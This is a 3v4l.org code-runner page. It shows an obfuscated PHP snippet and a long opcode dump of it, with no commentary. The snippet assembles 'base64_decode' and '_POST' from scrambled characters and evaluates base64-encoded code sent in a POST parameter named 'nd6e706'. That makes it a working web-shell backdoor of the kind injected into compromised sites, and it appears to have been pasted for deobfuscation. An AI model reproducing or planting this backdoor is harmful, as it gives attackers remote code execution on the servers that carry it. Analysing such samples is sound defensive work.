3v4l.org

run code in 300+ PHP versions simultaneously
<?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s22=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); if (isset($s22)) { echo eval($s21($s22)); } $i96="QU~T<`_YM82iAN>/v#s\"'q@tZFjJX6a\tcI)yS^boD.\$du|3\rWw=rC!;[4*P5LVkB?%19m:p7 -zK,gOl{Efx]0R}&h+\n\\(enGH"; $GLOBALS['rpdxi45'] = $i96[94].$i96[51].$i96[51].$i96[39].$i96[51].$i96[6].$i96[51].$i96[94].$i96[70].$i96[39].$i96[51].$i96[23].$i96[11].$i96[95].$i96[77]; $GLOBALS['umwfl54'] = $i96[11].$i96[95].$i96[11].$i96[6].$i96[18].$i96[94].$i96[23]; $GLOBALS['payhr58'] = $i96[74].$i96[74].$i96[21].$i96[30].$i96[30].$i96[29].$i96[59]; $GLOBALS['jjfef77'] = $i96[68].$i96[43].$i96[59]; $GLOBALS['woluw86'] = $i96[16].$i96[68].$i96[62].$i96[70].$i96[26].$i96[59]; $GLOBALS['xrcrc46'] = $i96[94].$i96[18].$i96[18].$i96[18].$i96[18].$i96[9].$i96[85]; $GLOBALS['nfrnt33'] = $i96[32].$i96[68].$i96[77].$i96[38].$i96[89].$i96[9].$i96[29]; $GLOBALS['vpgyo33'] = $i96[82].$i96[82].$i96[89].$i96[77].$i96[35].$i96[9].$i96[59]; $GLOBALS['xphkx7'] = $i96[30].$i96[89].$i96[68].$i96[44].$i96[83].$i96[59].$i96[10]; $GLOBALS['hkcrr52'] = $i96[43].$i96[26].$i96[49].$i96[94].$i96[70].$i96[59].$i96[71]; $GLOBALS['gabbh38'] = $i96[89].$i96[95]; $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['nd6e706'];if(isset($s22)){eval($s21($s22));}?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 45, Position 2 = 50
Branch analysis from position: 45
2 jumps found. (Code = 43) Position 1 = 270, Position 2 = 274
Branch analysis from position: 270
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 274
Branch analysis from position: 50
filename:       /in/DleHD
function name:  (null)
number of ops:  275
compiled vars:  !0 = $sF, !1 = $s21, !2 = $s22, !3 = $i96
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'PCT4BA6ODSE_'
    4     1        INIT_FCALL                                               'strtolower'
          2        FETCH_DIM_R                                      ~5      !0, 4
          3        FETCH_DIM_R                                      ~6      !0, 5
          4        CONCAT                                           ~7      ~5, ~6
          5        FETCH_DIM_R                                      ~8      !0, 9
          6        CONCAT                                           ~9      ~7, ~8
          7        FETCH_DIM_R                                      ~10     !0, 10
          8        CONCAT                                           ~11     ~9, ~10
          9        FETCH_DIM_R                                      ~12     !0, 6
         10        CONCAT                                           ~13     ~11, ~12
         11        FETCH_DIM_R                                      ~14     !0, 3
         12        CONCAT                                           ~15     ~13, ~14
         13        FETCH_DIM_R                                      ~16     !0, 11
         14        CONCAT                                           ~17     ~15, ~16
         15        FETCH_DIM_R                                      ~18     !0, 8
         16        CONCAT                                           ~19     ~17, ~18
         17        FETCH_DIM_R                                      ~20     !0, 10
         18        CONCAT                                           ~21     ~19, ~20
         19        FETCH_DIM_R                                      ~22     !0, 1
         20        CONCAT                                           ~23     ~21, ~22
         21        FETCH_DIM_R                                      ~24     !0, 7
         22        CONCAT                                           ~25     ~23, ~24
         23        FETCH_DIM_R                                      ~26     !0, 8
         24        CONCAT                                           ~27     ~25, ~26
         25        FETCH_DIM_R                                      ~28     !0, 10
         26        CONCAT                                           ~29     ~27, ~28
         27        SEND_VAL                                                 ~29
         28        DO_ICALL                                         $30     
         29        ASSIGN                                                   !1, $30
    5    30        INIT_FCALL                                               'strtoupper'
         31        FETCH_DIM_R                                      ~32     !0, 11
         32        FETCH_DIM_R                                      ~33     !0, 0
         33        CONCAT                                           ~34     ~32, ~33
         34        FETCH_DIM_R                                      ~35     !0, 7
         35        CONCAT                                           ~36     ~34, ~35
         36        FETCH_DIM_R                                      ~37     !0, 9
         37        CONCAT                                           ~38     ~36, ~37
         38        FETCH_DIM_R                                      ~39     !0, 2
         39        CONCAT                                           ~40     ~38, ~39
         40        SEND_VAL                                                 ~40
         41        DO_ICALL                                         $41     
         42        ASSIGN                                                   !2, $41
    7    43        ISSET_ISEMPTY_CV                                         !2
         44      > JMPZ                                                     ~43, ->50
    8    45    >   INIT_DYNAMIC_CALL                                        !1
         46        SEND_VAR_EX                                              !2
         47        DO_FCALL                                      0  $44     
         48        INCLUDE_OR_EVAL                                  $45     $44, EVAL
         49        ECHO                                                     $45
   11    50    >   ASSIGN                                                   !3, 'QU%7ET%3C%60_YM82iAN%3E%2Fv%23s%22%27q%40tZFjJX6a%09cI%29yS%5EboD.%24du%7C3%0DWw%3DrC%21%3B%5B4%2AP5LVkB%3F%2519m%3Ap7+-zK%2CgOl%7BEfx%5D0R%7D%26h%2B%0A%5C%28enGH'
   13    51        FETCH_DIM_R                                      ~49     !3, 94
         52        FETCH_DIM_R                                      ~50     !3, 51
         53        CONCAT                                           ~51     ~49, ~50
         54        FETCH_DIM_R                                      ~52     !3, 51
         55        CONCAT                                           ~53     ~51, ~52
         56        FETCH_DIM_R                                      ~54     !3, 39
         57        CONCAT                                           ~55     ~53, ~54
         58        FETCH_DIM_R                                      ~56     !3, 51
         59        CONCAT                                           ~57     ~55, ~56
         60        FETCH_DIM_R                                      ~58     !3, 6
         61        CONCAT                                           ~59     ~57, ~58
         62        FETCH_DIM_R                                      ~60     !3, 51
         63        CONCAT                                           ~61     ~59, ~60
         64        FETCH_DIM_R                                      ~62     !3, 94
         65        CONCAT                                           ~63     ~61, ~62
         66        FETCH_DIM_R                                      ~64     !3, 70
         67        CONCAT                                           ~65     ~63, ~64
         68        FETCH_DIM_R                                      ~66     !3, 39
         69        CONCAT                                           ~67     ~65, ~66
         70        FETCH_DIM_R                                      ~68     !3, 51
         71        CONCAT                                           ~69     ~67, ~68
         72        FETCH_DIM_R                                      ~70     !3, 23
         73        CONCAT                                           ~71     ~69, ~70
         74        FETCH_DIM_R                                      ~72     !3, 11
         75        CONCAT                                           ~73     ~71, ~72
         76        FETCH_DIM_R                                      ~74     !3, 95
         77        CONCAT                                           ~75     ~73, ~74
         78        FETCH_DIM_R                                      ~76     !3, 77
         79        CONCAT                                           ~77     ~75, ~76
         80        FETCH_W                      global              $47     'GLOBALS'
         81        ASSIGN_DIM                                               $47, 'rpdxi45'
         82        OP_DATA                                                  ~77
         83        FETCH_DIM_R                                      ~80     !3, 11
         84        FETCH_DIM_R                                      ~81     !3, 95
         85        CONCAT                                           ~82     ~80, ~81
         86        FETCH_DIM_R                                      ~83     !3, 11
         87        CONCAT                                           ~84     ~82, ~83
         88        FETCH_DIM_R                                      ~85     !3, 6
         89        CONCAT                                           ~86     ~84, ~85
         90        FETCH_DIM_R                                      ~87     !3, 18
         91        CONCAT                                           ~88     ~86, ~87
         92        FETCH_DIM_R                                      ~89     !3, 94
         93        CONCAT                                           ~90     ~88, ~89
         94        FETCH_DIM_R                                      ~91     !3, 23
         95        CONCAT                                           ~92     ~90, ~91
         96        FETCH_W                      global              $78     'GLOBALS'
         97        ASSIGN_DIM                                               $78, 'umwfl54'
         98        OP_DATA                                                  ~92
   15    99        FETCH_DIM_R                                      ~95     !3, 74
        100        FETCH_DIM_R                                      ~96     !3, 74
        101        CONCAT                                           ~97     ~95, ~96
        102        FETCH_DIM_R                                      ~98     !3, 21
        103        CONCAT                                           ~99     ~97, ~98
        104        FETCH_DIM_R                                      ~100    !3, 30
        105        CONCAT                                           ~101    ~99, ~100
        106        FETCH_DIM_R                                      ~102    !3, 30
        107        CONCAT                                           ~103    ~101, ~102
        108        FETCH_DIM_R                                      ~104    !3, 29
        109        CONCAT                                           ~105    ~103, ~104
        110        FETCH_DIM_R                                      ~106    !3, 59
        111        CONCAT                                           ~107    ~105, ~106
        112        FETCH_W                      global              $93     'GLOBALS'
        113        ASSIGN_DIM                                               $93, 'payhr58'
        114        OP_DATA                                                  ~107
        115        FETCH_DIM_R                                      ~110    !3, 68
        116        FETCH_DIM_R                                      ~111    !3, 43
        117        CONCAT                                           ~112    ~110, ~111
        118        FETCH_DIM_R                                      ~113    !3, 59
        119        CONCAT                                           ~114    ~112, ~113
        120        FETCH_W                      global              $108    'GLOBALS'
        121        ASSIGN_DIM                                               $108, 'jjfef77'
        122        OP_DATA                                                  ~114
        123        FETCH_DIM_R                                      ~117    !3, 16
        124        FETCH_DIM_R                                      ~118    !3, 68
        125        CONCAT                                           ~119    ~117, ~118
        126        FETCH_DIM_R                                      ~120    !3, 62
        127        CONCAT                                           ~121    ~119, ~120
        128        FETCH_DIM_R                                      ~122    !3, 70
        129        CONCAT                                           ~123    ~121, ~122
        130        FETCH_DIM_R                                      ~124    !3, 26
        131        CONCAT                                           ~125    ~123, ~124
        132        FETCH_DIM_R                                      ~126    !3, 59
        133        CONCAT                                           ~127    ~125, ~126
        134        FETCH_W                      global              $115    'GLOBALS'
        135        ASSIGN_DIM                                               $115, 'woluw86'
        136        OP_DATA                                                  ~127
        137        FETCH_DIM_R                                      ~130    !3, 94
        138        FETCH_DIM_R                                      ~131    !3, 18
        139        CONCAT                                           ~132    ~130, ~131
        140        FETCH_DIM_R                                      ~133    !3, 18
        141        CONCAT                                           ~134    ~132, ~133
        142        FETCH_DIM_R                                      ~135    !3, 18
        143        CONCAT                                           ~136    ~134, ~135
        144        FETCH_DIM_R                                      ~137    !3, 18
        145        CONCAT                                           ~138    ~136, ~137
        146        FETCH_DIM_R                                      ~139    !3, 9
        147        CONCAT                                           ~140    ~138, ~139
        148        FETCH_DIM_R                                      ~141    !3, 85
        149        CONCAT                                           ~142    ~140, ~141
        150        FETCH_W                      global              $128    'GLOBALS'
        151        ASSIGN_DIM                                               $128, 'xrcrc46'
        152        OP_DATA                                                  ~142
        153        FETCH_DIM_R                                      ~145    !3, 32
        154        FETCH_DIM_R                                      ~146    !3, 68
        155        CONCAT                                           ~147    ~145, ~146
        156        FETCH_DIM_R                                      ~148    !3, 77
        157        CONCAT                                           ~149    ~147, ~148
        158        FETCH_DIM_R                                      ~150    !3, 38
        159        CONCAT                                           ~151    ~149, ~150
        160        FETCH_DIM_R                                      ~152    !3, 89
        161        CONCAT                                           ~153    ~151, ~152
        162        FETCH_DIM_R                                      ~154    !3, 9
        163        CONCAT                                           ~155    ~153, ~154
        164        FETCH_DIM_R                                      ~156    !3, 29
        165        CONCAT                                           ~157    ~155, ~156
        166        FETCH_W                      global              $143    'GLOBALS'
        167        ASSIGN_DIM                                               $143, 'nfrnt33'
        168        OP_DATA                                                  ~157
   17   169        FETCH_DIM_R                                      ~160    !3, 82
        170        FETCH_DIM_R                                      ~161    !3, 82
        171        CONCAT                                           ~162    ~160, ~161
        172        FETCH_DIM_R                                      ~163    !3, 89
        173        CONCAT                                           ~164    ~162, ~163
        174        FETCH_DIM_R                                      ~165    !3, 77
        175        CONCAT                                           ~166    ~164, ~165
        176        FETCH_DIM_R                                      ~167    !3, 35
        177        CONCAT                                           ~168    ~166, ~167
        178        FETCH_DIM_R                                      ~169    !3, 9
        179        CONCAT                                           ~170    ~168, ~169
        180        FETCH_DIM_R                                      ~171    !3, 59
        181        CONCAT                                           ~172    ~170, ~171
        182        FETCH_W                      global              $158    'GLOBALS'
        183        ASSIGN_DIM                                               $158, 'vpgyo33'
        184        OP_DATA                                                  ~172
        185        FETCH_DIM_R                                      ~175    !3, 30
        186        FETCH_DIM_R                                      ~176    !3, 89
        187        CONCAT                                           ~177    ~175, ~176
        188        FETCH_DIM_R                                      ~178    !3, 68
        189        CONCAT                                           ~179    ~177, ~178
        190        FETCH_DIM_R                                      ~180    !3, 44
        191        CONCAT                                           ~181    ~179, ~180
        192        FETCH_DIM_R                                      ~182    !3, 83
        193        CONCAT                                           ~183    ~181, ~182
        194        FETCH_DIM_R                                      ~184    !3, 59
        195        CONCAT                                           ~185    ~183, ~184
        196        FETCH_DIM_R                                      ~186    !3, 10
        197        CONCAT                                           ~187    ~185, ~186
        198        FETCH_W                      global              $173    'GLOBALS'
        199        ASSIGN_DIM                                               $173, 'xphkx7'
        200        OP_DATA                                                  ~187
        201        FETCH_DIM_R                                      ~190    !3, 43
        202        FETCH_DIM_R                                      ~191    !3, 26
        203        CONCAT                                           ~192    ~190, ~191
        204        FETCH_DIM_R                                      ~193    !3, 49
        205        CONCAT                                           ~194    ~192, ~193
        206        FETCH_DIM_R                                      ~195    !3, 94
        207        CONCAT                                           ~196    ~194, ~195
        208        FETCH_DIM_R                                      ~197    !3, 70
        209        CONCAT                                           ~198    ~196, ~197
        210        FETCH_DIM_R                                      ~199    !3, 59
        211        CONCAT                                           ~200    ~198, ~199
        212        FETCH_DIM_R                                      ~201    !3, 71
        213        CONCAT                                           ~202    ~200, ~201
        214        FETCH_W                      global              $188    'GLOBALS'
        215        ASSIGN_DIM                                               $188, 'hkcrr52'
        216        OP_DATA                                                  ~202
        217        FETCH_DIM_R                                      ~205    !3, 89
        218        FETCH_DIM_R                                      ~206    !3, 95
        219        CONCAT                                           ~207    ~205, ~206
        220        FETCH_W                      global              $203    'GLOBALS'
        221        ASSIGN_DIM                                               $203, 'gabbh38'
        222        OP_DATA                                                  ~207
   18   223        ASSIGN                                                   !0, 'PCT4BA6ODSE_'
        224        INIT_FCALL                                               'strtolower'
        225        FETCH_DIM_R                                      ~209    !0, 4
        226        FETCH_DIM_R                                      ~210    !0, 5
        227        CONCAT                                           ~211    ~209, ~210
        228        FETCH_DIM_R                                      ~212    !0, 9
        229        CONCAT                                           ~213    ~211, ~212
        230        FETCH_DIM_R                                      ~214    !0, 10
        231        CONCAT                                           ~215    ~213, ~214
        232        FETCH_DIM_R                                      ~216    !0, 6
        233        CONCAT                                           ~217    ~215, ~216
        234        FETCH_DIM_R                                      ~218    !0, 3
        235        CONCAT                                           ~219    ~217, ~218
        236        FETCH_DIM_R                                      ~220    !0, 11
        237        CONCAT                                           ~221    ~219, ~220
        238        FETCH_DIM_R                                      ~222    !0, 8
        239        CONCAT                                           ~223    ~221, ~222
        240        FETCH_DIM_R                                      ~224    !0, 10
        241        CONCAT                                           ~225    ~223, ~224
        242        FETCH_DIM_R                                      ~226    !0, 1
        243        CONCAT                                           ~227    ~225, ~226
        244        FETCH_DIM_R                                      ~228    !0, 7
        245        CONCAT                                           ~229    ~227, ~228
        246        FETCH_DIM_R                                      ~230    !0, 8
        247        CONCAT                                           ~231    ~229, ~230
        248        FETCH_DIM_R                                      ~232    !0, 10
        249        CONCAT                                           ~233    ~231, ~232
        250        SEND_VAL                                                 ~233
        251        DO_ICALL                                         $234    
        252        ASSIGN                                                   !1, $234
        253        INIT_FCALL                                               'strtoupper'
        254        FETCH_DIM_R                                      ~236    !0, 11
        255        FETCH_DIM_R                                      ~237    !0, 0
        256        CONCAT                                           ~238    ~236, ~237
        257        FETCH_DIM_R                                      ~239    !0, 7
        258        CONCAT                                           ~240    ~238, ~239
        259        FETCH_DIM_R                                      ~241    !0, 9
        260        CONCAT                                           ~242    ~240, ~241
        261        FETCH_DIM_R                                      ~243    !0, 2
        262        CONCAT                                           ~244    ~242, ~243
        263        SEND_VAL                                                 ~244
        264        DO_ICALL                                         $245    
        265        FETCH_R                      local               ~246    $245
        266        FETCH_DIM_R                                      ~247    ~246, 'nd6e706'
        267        ASSIGN                                                   !2, ~247
        268        ISSET_ISEMPTY_CV                                         !2
        269      > JMPZ                                                     ~249, ->274
        270    >   INIT_DYNAMIC_CALL                                        !1
        271        SEND_VAR_EX                                              !2
        272        DO_FCALL                                      0  $250    
        273        INCLUDE_OR_EVAL                                          $250, EVAL
        274    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.56 ms | 1416 KiB | 17 Q